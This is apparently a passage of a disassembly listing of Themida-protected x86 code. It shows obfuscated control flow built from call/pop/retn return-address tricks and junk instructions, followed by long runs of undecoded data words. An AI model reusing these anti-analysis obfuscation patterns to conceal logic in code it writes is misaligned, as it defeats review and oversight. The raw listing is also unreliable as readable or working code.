and [esi+5FDD983Eh], al
inc ebp
cld
add [ebp+6120C31h], edx
mov eax, eax
mov dx, 0DC02h
cmp dword ptr [ebp+6121B91h], 0
jnz short loc_54B7EA
cmp dword ptr [ebp+61217DDh], 0
jz short loc_54B7FD
loc_54B7EA: ; CODE XREF: Themida_:0054B7DFj
push eax
push ebx
mov eax, eax
mov eax, 1
lea ebx, [ebp+614ACB1h]
call ebx
pop ebx
pop eax
loc_54B7FD: ; CODE XREF: Themida_:0054B7E8j
cmp dword ptr [ebp+61217DDh], 0
jz short loc_54B817
push eax
push ebx
mov eax, 1
lea ebx, [ebp+614AB62h]
call ebx
pop ebx
pop eax
loc_54B817: ; CODE XREF: Themida_:0054B804j
adc dl, 69h
and edx, 3B0FDBCCh
mov eax, eax
jmp loc_54B837
; ---------------------------------------------------------------------------
db 2Bh
dd 0BCFF0CE7h, 2E104653h, 6499B9B8h
; ---------------------------------------------------------------------------
sub ebx, esi
movsd
loc_54B837: ; CODE XREF: Themida_:0054B822j
cmp dword ptr [ebp+6120779h], 0
jz loc_54B9BA
sbb ebx, 2056AB47h
cmp dword ptr [ebp+6122A7Dh], 0
jz loc_54B9BA
adc dx, 48F9h
pusha
push 0
push edi
call sub_54B868
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54B868 proc near ; CODE XREF: Themida_:0054B860p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_54B868 endp
; ---------------------------------------------------------------------------
jmp dword ptr ds:3C9573F5h
; ---------------------------------------------------------------------------
setalc
cld
mov ebx, [ebp+61217CDh]
mov eax, [ebp+6122A7Dh]
push 0
push ecx
call sub_54B897
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54B897 proc near ; CODE XREF: Themida_:0054B88Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_54B897 endp
; ---------------------------------------------------------------------------
db 96h
dd 0B5092AA2h, 6122675h, 0E805D58Ah, 9000003h, 12351D85h
dd 0F18A5006h, 60240489h, 0B589D78Bh, 61203A1h, 75858D61h
dd 8006124Dh, 8B5021E6h, 240489D9h, 4D53858Dh, 95890612h
dd 6121525h, 5071B390h, 0BFB25250h, 0D58A310Fh, 0FF90585Ah
dd 12237195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 0D38151C5h, 66C15FF1h, 0DA8B665Ah
dd 6A0CC483h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0D8A5C356h, 0BBDECA02h, 12B3F41Ch
dd 7E9h, 7ACA0600h, 0CF4EBD95h, 4D53858Dh, 6A0612h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0F433CDC3h, 0ABA2F1ADh, 0AE44BA66h, 89AEB250h, 0B5892404h
dd 612261Dh, 5D9E54BBh, 0FF026A13h, 6AED1495h, 0EE900h
dd 0A6EC0000h, 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0D2B70F61h
dd 0B81BD381h
; ---------------------------------------------------------------------------
mov al, 4Ch
loc_54B9BA: ; CODE XREF: Themida_:0054B83Ej
; Themida_:0054B851j
mov dword ptr [ebp+6124D86h], 1
clc
push eax
jmp loc_54B9DF
; ---------------------------------------------------------------------------
db 3Eh
dd 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah
db 35h, 72h, 79h
; ---------------------------------------------------------------------------
loc_54B9DF: ; CODE XREF: Themida_:0054B9C6j
mov [esp], esi
add [ebp+61201C9h], edx
mov [ebp+6124D37h], esi
push 0
push ebp
call sub_54B9F9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54B9F9 proc near ; CODE XREF: Themida_:0054B9F1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_54B9F9 endp
; ---------------------------------------------------------------------------
mov byte ptr [ecx-32FF0E25h], 0D1h
mov ss, dx
fisttp word ptr [ebx+12093D95h]
push es
push edx
cmc
pop ebx
cmp dword ptr [ebp+61207ADh], 1
jnz loc_54BA95
push 0
push ebx
call sub_54BA34
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54BA34 proc near ; CODE XREF: Themida_:0054BA2Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_54BA34 endp
; ---------------------------------------------------------------------------
mov ch, 0B4h
movsb
mov edi, 0F92375ACh
and ebx, [ebp+61206D5h]
cmp eax, 5
jnz loc_54BA95
jmp loc_54BA68
; ---------------------------------------------------------------------------
dd 0A700564h, 98DA62FEh
; ---------------------------------------------------------------------------
loc_54BA68: ; CODE XREF: Themida_:0054BA5Bj
mov eax, 0
push 0
push eax
call sub_54BA78
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54BA78 proc near ; CODE XREF: Themida_:0054BA70p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_54BA78 endp
; ---------------------------------------------------------------------------
dd 816650EAh, 5A2F97CBh, 5F5274BAh
db 5
; ---------------------------------------------------------------------------
loc_54BA95: ; CODE XREF: Themida_:0054BA23j
; Themida_:0054BA55j
cmp dword ptr [ebp+6121045h], 0
jz loc_54BABD
sub [ebp+6121E21h], ebx
pusha
sub ebx, 7DE600DBh
call dword ptr [ebp+6121045h]
stc
popa
add ebx, 6CD51852h
loc_54BABD: ; CODE XREF: Themida_:0054BA9Cj
cmp dword ptr [ebp+6120379h], 0
jz loc_54BADA
movzx ebx, bx
mov eax, 0
mov dl, 79h
xor [ebp+6121971h], edx
loc_54BADA: ; CODE XREF: Themida_:0054BAC4j
pusha
push 0
push eax
call sub_54BAE6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54BAE6 proc near ; CODE XREF: Themida_:0054BADEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_54BAE6 endp
; ---------------------------------------------------------------------------
dw 50AAh
dd 0E439BC6Dh, 40B92185h, 3A5858Bh, 8EBB0612h, 832E858Ch
dd 6A02C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 7E8BE1C3h, 0F2819523h, 6181F9AEh, 4D2F8589h
dd 96B30612h, 0F5FF00C6h, 287185C6h, 0FC530612h, 4E8h
dd 0B148D800h, 5072B3FCh, 0E667B5BAh, 24448B1Eh, 8BD18B04h
dd 89DFB300h, 60042444h, 310F5250h, 5AF98B66h, 7AB86658h
dd 8B5861FBh, 122E1D9Dh, 0E9B5FF06h, 6A061230h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 7DCAC356h, 4EB9F724h, 7F35858Dh, 0D0FF0615h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8DC35141h, 0CAB3CDFAh
dd 85893B65h, 61219CDh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 34C35040h, 1299BD83h, 0F010612h, 0D185h
dd 33BB6600h, 6A6143h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 3DDBA5C3h, 0DDAF2CD2h, 7185C61Ch
dd 45061228h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 2FC35343h, 0BAF8E855h, 0E5BD3132h, 68061201h, 99C36D63h
dd 4820Fh, 0BA660000h, 481B3CDh, 9CCB5F24h, 0D3BF0F40h
dd 30E9B5FFh, 95290612h, 6121B75h, 7F35858Dh, 8E90615h
dd 8000000h, 0F23D3B50h, 0FFC202A0h, 14E9D0h, 0C6C80000h
dd 408E2FBEh, 0CB113DE8h, 879C1B7h, 0CAF4DA16h, 6AD590h
dd 0D9816051h, 0CE1435Bh, 0FE9h, 0ED07A300h, 53FDA90Ah
dd 8C97D4D1h, 59D75859h, 0D0FF5A61h, 2D759D8Bh, 0BD830612h
dd 6122911h, 0DC850F01h, 8B000000h, 1203A585h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0AB2C715h, 9D8B6338h, 612035Dh, 54E9D98Ah, 1000000h
dd 121245B5h, 0BE906h, 2B360000h, 599BA930h, 46C3DF4Dh
dd 52509080h, 310FF5B3h, 0D68B6656h, 50585A5Ah, 0CE890h
dd 93000000h, 81F4E7E3h, 4FDCB670h, 958BA1E0h, 61221BDh
dd 0F9146A5Bh, 19CD95FFh, 85290612h, 6122F21h, 659D8B58h
dd 80061229h, 850F0038h, 0FFFFFFB9h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0C6C35040h, 0BBBE3ACAh, 0C6D7B70Fh
dd 6A0100h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 745EF6C3h, 9185891Fh, 6106121Ch, 1151B529h
dd 0BD830612h, 6122F3Dh, 55840F00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 97B6C350h, 89F0F88Eh, 0C381EB97h, 52888B50h, 0BD29FF6Ah
dd 61234DDh, 19CD95FFh, 0EE90612h, 8000000h, 0CE06FEC6h
dd 0D07C3611h, 5003F71Eh, 0FFDAE92Ch, 9589FFFFh, 6122CB1h
dd 2F3D85C7h, 10612h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 75F652C3h, 3B8589B5h
dd 6A06124Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 4036C356h, 0D8494200h, 0DF27AA16h
dd 7E952h, 0D4CF0000h, 31936EA5h, 8B505B96h, 240489D8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 41C35646h
dd 0B1958B54h, 6006120Dh, 7E951h, 0A3AF0000h, 0AC205E8Ah
dd 0B70F5AE4h, 9056ADBh, 12004D9Dh, 859D8906h, 8D06121Fh
dd 124D5385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 0DF3F6BDCh, 31CED3C5h, 1212BDBDh
dd 58D0906h, 50061211h, 4899EB3h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0CA5BFB00h
dd 0CD2DDBDh, 0D98B4EF8h, 4D43858Dh, 85310612h, 6121961h
dd 10E890h, 84280000h, 7F99A25Fh, 0B5B3E6D2h, 0D2DF96A9h
dd 24B65886h, 5253505Bh, 0EE9h, 36FD0A00h, 0C9535570h
dd 7893E758h, 5BEA084Dh, 6A905Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 8166B2C3h, 8B0DC5D3h
dd 12173D9Dh, 5995FF06h, 8D061210h, 127B0F8Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 9D57DA0Bh, 0ABBB66DBh, 74C00B55h, 53858D11h, 5006124Dh
dd 8589D1FFh, 6124D71h, 85C70AEBh, 6124D71h, 0FFFFFFFFh
dd 0AAC38166h, 3840FD0h, 0F000000h, 6AD0BFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 7387CBC3h
dd 60582D2Fh, 18800Fh, 13E90000h, 7000000h, 0F62BFC1Eh
dd 0DE798FDCh, 89A5C16Bh, 0E2585E32h, 0B5896EF3h, 612036Dh
dd 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 90887AC3h, 750EA883h, 0C61B6EBDh, 12287185h
dd 0B5894D06h, 61226CDh, 4CE60F68h, 0FDBA66A4h, 24348143h
dd 7990A7h, 0C5B5FFF8h, 6A06120Ch, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 74F3C351h
dd 958B57D2h, 612129Dh, 0B1958B5Bh, 8D06122Ch, 157F3585h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 0B68672Eh, 0F6AA4FC6h, 20FD9D8Bh, 0D0FF0612h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CEC35545h
dd 8B659A4Eh, 0F1958BD2h, 8906122Fh, 12234185h, 0CE906h
dd 170B0000h, 9493237Ch, 0B3280026h, 85C699B7h, 6122871h
dd 56006A45h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 863CE51Ah, 5E860h, 11C80000h, 568A2A28h
dd 0D0815F5Ah, 1EDCC855h, 4E861h, 69690000h, 8B608E72h
dd 535061F9h, 11E9h, 857E1500h, 3AA6A23h, 275EFB15h, 2D1F9DF3h
dd 8B5B34C8h, 0BA042444h, 8FB421Eh, 4489008Bh, 9E90424h
dd 0DC000000h, 0E3D96755h, 0F59743A5h, 55006A58h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0DA32CD13h, 7D953348h, 0FF06121Dh, 1230E9B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0F7E0D5E4h, 98F7FD25h, 148B0Fh, 0FE90000h, 14000000h
dd 619B11ADh, 0E9F40F58h, 15A9D228h, 858DA1D9h, 6157F35h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 72C35343h
dd 8BAB889Bh, 11B589D0h, 0FF061218h, 18A0FD0h, 0FC000000h
dd 30FD8589h, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 1248C4C3h, 0D28B9EF3h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 54C35343h, 8BD98C66h
dd 1224099Dh, 7E906h, 4A250000h, 0ECC27F09h, 4C1F671h
dd 24A840Fh, 0D98B0000h, 15EE9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C4B5F43Bh
dd 9C1B58Bh, 8E80612h, 61000000h, 0FF883E0h, 66FC8294h
dd 382ECB81h, 80C6815Ah, 6A000011h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 0C70CC351h, 94D5E003h, 0BD83D78Bh, 6120099h, 3B850F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0D8BFC352h, 667A0B3Ch, 0E242C281h
dd 0D1D28166h, 0A4E9ECh, 820F0000h, 6, 6C99589h, 3E830612h
dd 8F840F00h, 0E9000000h, 11h, 5493E39Fh, 8F46C84Fh, 8CDC143h
dd 11E5416Ah, 0C59D8983h, 60061208h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 69C35242h, 29E95F11h, 121BED8Dh
dd 0B1858906h, 6A06120Dh, 8E914h, 65970000h, 0C6439E66h
dd 95FF0537h, 61219CDh, 0DEB8166h, 0BD89619Ch, 61212E1h
dd 0FFFF89E9h, 158C0FFFh, 57000000h, 0EE9h, 9F86B300h
dd 7D95BAADh, 0BD588FD5h, 5A8BA6D3h, 94D9D03h, 6C70612h
dd 1, 12E9h, 54D52000h, 41CF2579h, 1207C290h, 75E4E908h
dd 8317DA4Bh, 124D3BBDh, 850F0506h, 0D8h, 521BF60h, 0E1812774h
dd 7461772Ah, 0FDB58B61h, 8B061230h, 64B9D7h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0ACFCB9C3h, 8BA34180h, 12099D95h, 0E83E8006h, 44840Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 531F49C3h, 0BBC579BAh, 0EE95B14h, 49000000h
dd 1D8EE255h, 5947D07Bh, 0BE5F3051h, 14E986h, 0BA660000h
dd 0BA66EEE4h, 7E80256Dh, 840FC205h, 35h, 0E946D38Bh, 12h
dd 9E127515h, 1C718157h, 68E6399Eh, 0FE932D80h, 0F498C49h
dd 0FFFF8885h, 0EEBB66FFh, 99C680B4h, 13E9h, 0B5895000h
dd 6121A49h, 61B5895Ah, 0B306121Ch, 0DAB70F6Ch, 3DBA6658h
dd 5BD8323h, 61207h, 13E840Fh, 9D8B0000h, 6121B99h, 0BBD68B60h
dd 7076AC3Ch, 287185C6h, 6A540612h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 263BC357h
dd 66504F3Dh, 5A0098BAh, 10E9h, 7185A00h, 4D8B8EC8h, 6DD12A89h
dd 45480D73h, 0B6456824h, 2BB2863Eh, 0AF240481h, 8B791008h
dd 1216499Dh, 0E9B5FF06h, 6A061230h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 69E1C353h
dd 0D7BF0FE1h, 7F35858Dh, 810F0615h, 6, 1799B531h, 0D0FF0612h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FAC35646h
dd 5E839E26h, 8E8h, 5DA7B100h, 0C36FDAB3h, 99B529D6h, 5A061204h
dd 31099D8Bh, 6AF90612h, 0B59D8B00h, 0E906122Dh, 0Ah, 2A390ADDh
dd 63E52BE1h, 0B5FFE823h, 6120705h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 46C35343h, 0CE9h, 33F81700h
dd 18E3B631h, 3F9EEA16h, 0BAC381A8h, 0FF336C78h, 68F0FD0h
dd 89000000h, 1204818Dh, 958B6106h, 61209BDh, 212185C7h
dd 10612h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 821921C3h, 5F741E0Fh, 7D9D8B12h
dd 60061207h, 12E9h, 400F6400h, 43EEF723h, 67828196h, 4FEF7F0Ch
dd 0E884F0BDh, 4, 80h, 0D38B6650h, 424448Bh, 8BDF8Bh, 4489D88Bh
dd 2FB30424h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0E411EC62h, 608091Dh, 0B1B58920h
dd 6A061212h, 0D98BF8FFh, 14A595FFh, 8B660612h, 6A61DEh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 8F7030C3h, 8B5676CDh, 122DF59Dh, 60505B06h, 19810Fh
dd 13E80000h, 6C000000h, 0E22247D3h, 0D194B4E5h, 2B7EC397h
dd 75175A38h, 0F59621Ch, 387h, 0CE8B6600h, 24048961h, 2AEB8166h
dd 91858BEAh, 6A061229h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 0FFEAC352h, 66C989CAh
dd 1F500C4Ah, 0BDAB70Fh, 3A840FC0h, 0FF000000h, 12206995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0B3745243h, 60606043h, 8CB86661h, 0BB6661F1h
dd 89617195h, 1201C58Dh, 2585C706h, 106121Dh, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0E2C0C355h, 0C1196ECBh, 8095B64Bh, 0BD83F1EAh
dd 6121325h, 12840F00h, 8B000000h, 121F7D95h, 2595FF06h
dd 8B06121Ah, 120EB99Dh, 55BD8306h, 61203h, 4B840Fh, 14E90000h
dd 8F000000h, 9C92EAF2h, 0BB337A20h, 0B3FC4627h, 301F4AEBh
dd 60D3D4FDh, 11E851h, 0E0580000h, 0F2B5F2D0h, 6B2147A8h
dd 0DDB2A0C2h, 5F8173A1h, 0F1B5295Ah, 61061203h, 1C7595FFh
dd 8F0F0612h, 2, 8B66FC8Ah, 6DBD83D6h, 6121Fh, 3C840Fh
dd 0BD890000h, 6122955h, 905BD83h, 0F000612h, 2985h, 999D0B00h
dd 0FF06121Bh, 12151D95h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD833C71h
dd 6122CD1h, 4D840F00h, 0E9000000h, 7, 0E534415h, 8172FDAEh
dd 12008585h, 400306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 26F33A51h, 22958581h
dd 40030612h, 850F0000h, 8, 4D950156h, 5B06122Fh, 6A310Fh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0C6A38BC3h, 0EF065117h, 8B66D38Bh, 49958BD0h, 8D06121Ah
dd 125E958Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 6A018963h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 1459C352h, 90990DAAh
dd 0EA81664Ah, 0B589E172h, 6120035h, 11E9C233h, 97000000h
dd 8B448DD4h, 51F274D3h, 0F241A19Bh, 740EF95Ch, 81044189h
dd 6B57BCBh, 0C1BB665Dh, 6A310F87h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 88EDC351h
dd 0BADAB70Fh, 60DC6757h, 5EBE8D8Dh, 0D2810612h, 0DDF922h
dd 958B0189h, 6120091h, 5E8C233h, 6F000000h, 3A48DCC9h
dd 0CE9h, 2AC54400h, 83750CE5h, 0E19DB5BFh, 0B5295B94h
dd 6122C8Dh, 6A044189h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 2BC6C355h, 2629B589h
dd 0BD830612h, 61220E5h, 11840F00h, 89000000h, 122C2D8Dh
dd 8195FF06h, 0BB061201h, 6101007Eh, 2F2DBD83h, 0F010612h
dd 6C85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 3E9505B3h, 13E92Dh, 5F5B0000h, 0DA4E0E33h
dd 8BC547FCh, 582FF72h, 21CED6CEh, 2FE9ACh, 958B0000h
dd 61202ADh, 6063B58Bh, 6C70612h, 0
dd 5DBCB58Bh, 6C70612h, 0
dd 0E9F4B3CFh, 9, 0EC4B6757h, 2379AA48h, 25BD833Eh, 6121Dh
dd 173840Fh, 0BD890000h, 6120C31h, 21D9BD83h, 0F010612h
dd 13285h, 0FBBB6600h, 2F8D8BE9h, 6A06124Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 0F656C357h, 0CC5A5751h, 0B7225A35h, 29FDB589h, 1C60612h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 0BB6659E4h, 0F505618h, 683h, 8BF38100h
dd 5B32B199h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 49D20885h, 958950B3h, 6121BC9h, 0EEB16F68h
dd 1892BA6Dh, 34813AFAh, 0EEB1EF24h, 0B7FF6A6Dh, 0B589607Dh
dd 6120E89h, 5B0CB866h, 0A595FF61h, 6A061214h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 3F8AC352h, 705A73E4h, 0FAEF8009h, 8B61FE8Ah, 121FC59Dh
dd 0B195FF06h, 6A061219h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 3D95C352h, 4BB669BCh
dd 2F8D8BADh, 0E906124Dh, 0Dh, 0C7421E35h, 0FE49B0A9h
dd 0DC50D327h, 0F01FE01h, 682h, 5958B00h, 83061215h, 122C45BDh
dd 850F0106h, 21h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 68C35747h, 74BA660Dh, 80C08BB0h, 0BD8397E2h
dd 6121B91h, 83097500h, 1217DDBDh, 1A740006h, 0C08B5350h
dd 85858Bh, 85890612h, 6120085h, 0AE0F9D8Dh, 0D3FF0614h
dd 0BD83585Bh, 61217DDh, 50187400h, 85858B53h, 89061200h
dd 12008585h, 0FE9D8D06h, 0FF0614AAh, 6A585BD3h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 6CCBC357h, 89C36CFEh, 12113D95h, 0B99D8B06h, 8B06121Fh
dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0B98531EEh, 83061205h, 121D25BDh, 850F0006h
dd 39h, 0CF18EB81h, 0E96014C7h, 14h, 10EA88A4h, 3DC087C2h
dd 0EDB0CDF9h, 0F96CDCCDh, 5DA817Eh, 18B99D29h, 83610612h
dd 1205BDBDh, 840F0006h, 5, 0C350A0BAh, 25BD836Eh, 6121Dh
dd 6F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 56B399C3h, 0B29CE40Ah, 800F7401h
dd 20h, 0AE8h, 26D5FA00h, 87F178A7h, 0E9E57209h, 0Bh, 0C9889955h
dd 0C23544F7h, 5B600CFAh, 0A397D381h, 0BD831A06h, 61217EDh
dd 12840F00h, 0E8000000h, 0Ah, 45A5D573h, 4CC9FFFFh, 0F88ADE00h
dd 25BD835Bh, 6121Dh, 19840Fh, 66510000h, 8B5BD08Bh, 1226819Dh
dd 0EDBD8306h, 61217h, 1840Fh, 83FC0000h, 121D25BDh, 840F0006h
dd 35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
dd 5AC35040h, 0DC784C01h, 0BD838FA9h, 61229ADh, 6840F00h
dd 80000000h, 0D78041F3h, 25BD83E2h, 6121Dh, 40840Fh, 0DE90000h
dd 41000000h, 0C8E699DBh, 943FFAA7h, 15FF7B32h, 298EBE60h
dd 0BD3115C8h, 6121F01h, 0F5BD8361h, 61201h, 14840Fh, 8D890000h
dd 6122DE9h, 6ED95FFh, 5BB60612h, 291958Bh, 0C08B0612h
dd 10C19523h, 0BD830612h, 6121B91h, 83097500h, 1217DDBDh
dd 1A740006h, 0C08B5350h, 2295858Bh, 85890612h, 6122295h
dd 0AE769D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh, 50187400h
dd 95858B53h, 89061222h, 12229585h, 179D8D06h, 0FF0614ABh
dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 0B343C357h, 0DE8B6651h, 66C08B5Bh
dd 0B239F381h, 1D25BD83h, 0F000612h, 3A084h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 7E932h, 62070000h, 0B60AB849h, 99BD83B6h, 2061212h
dd 19840Fh, 9D230000h, 61229FDh, 2F2DBD83h, 0F010612h
dd 685h, 61850900h, 6006121Eh, 13219D89h, 8D8B0612h, 6124D2Fh
dd 6A01FEF8h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 4B68C350h, 11E882AFh, 0B0000000h
dd 5A5DCC62h, 21991CBAh, 0BD592B05h, 0E8073EAh, 1616060h
dd 122861BDh, 0F5B6106h, 1968D1B7h, 601D5D76h, 8E9h, 7DCDF400h
dd 677612DDh, 0E9525060h, 8, 0F6CBEA65h, 6F1EF8BCh, 0F08B310Fh
dd 8161585Ah, 76992434h, 6AF91D5Dh, 51006AFFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0BBF5DFAFh
dd 3F15BC2Ch, 14A595FFh, 800F0612h, 3, 6198DF80h, 0B5958B52h
dd 5B061220h, 212DBD8Dh, 0C6800612h, 1C4F8B8Dh, 8E8016Ah
dd 9F000000h, 0A64BD1E0h, 89CE2733h, 1211C1BDh, 81665B06h
dd 912890EBh, 0B3EBBB66h, 8A0F50h, 91000000h, 10CD958Bh
dd 858D0612h, 6153BF9h, 10E8h, 33957800h, 42A6685Ch, 4D66D2FFh
dd 0DC37D7B6h, 0D1BF0F7Eh, 0FFD0B75Ah, 0B5BD89D0h, 8B061234h
dd 840F204Fh, 8, 2850Fh, 1DB60000h, 6A036Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 18481AC3h
dd 0BCAADD85h, 24B3712Ch, 10D59D89h, 60910612h, 5061C4B5h
dd 0DE860h, 35360000h, 79E0778Ch, 2FF7EA19h, 0E96901C1h
dd 9, 6C27F118h, 5A33EB9Ah, 91615EB0h, 5850F60h, 0BA000000h
dd 324243C7h, 2F398533h, 8D610612h, 153BF985h, 21953106h
dd 0FF06122Dh, 0BD8DF9D0h, 612212Dh, 1C4F8BF9h, 1B99958Bh
dd 16A0612h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 7EC35242h, 501F0C87h, 3E25B960h, 0D98B5984h, 240C8961h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5EC35141h
dd 0DF125C9Dh, 7AED373Eh, 74E7807Eh, 3BF9858Dh, 870F0615h
dd 3, 0FFD9B70Fh, 7D9589D0h, 8B061223h, 1210F995h, 204F8B06h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h
dd 0E9E383F9h, 0Dh, 0E40B160Bh, 0C35D777Fh, 303C2F7Ch
dd 66036A10h, 0D2F7DA81h, 5FB96050h, 0B94FC7F6h, 622D6089h
dd 240C8961h, 0CE9h, 8CA91B00h, 0A15AAA0Bh, 9AA7A8D2h
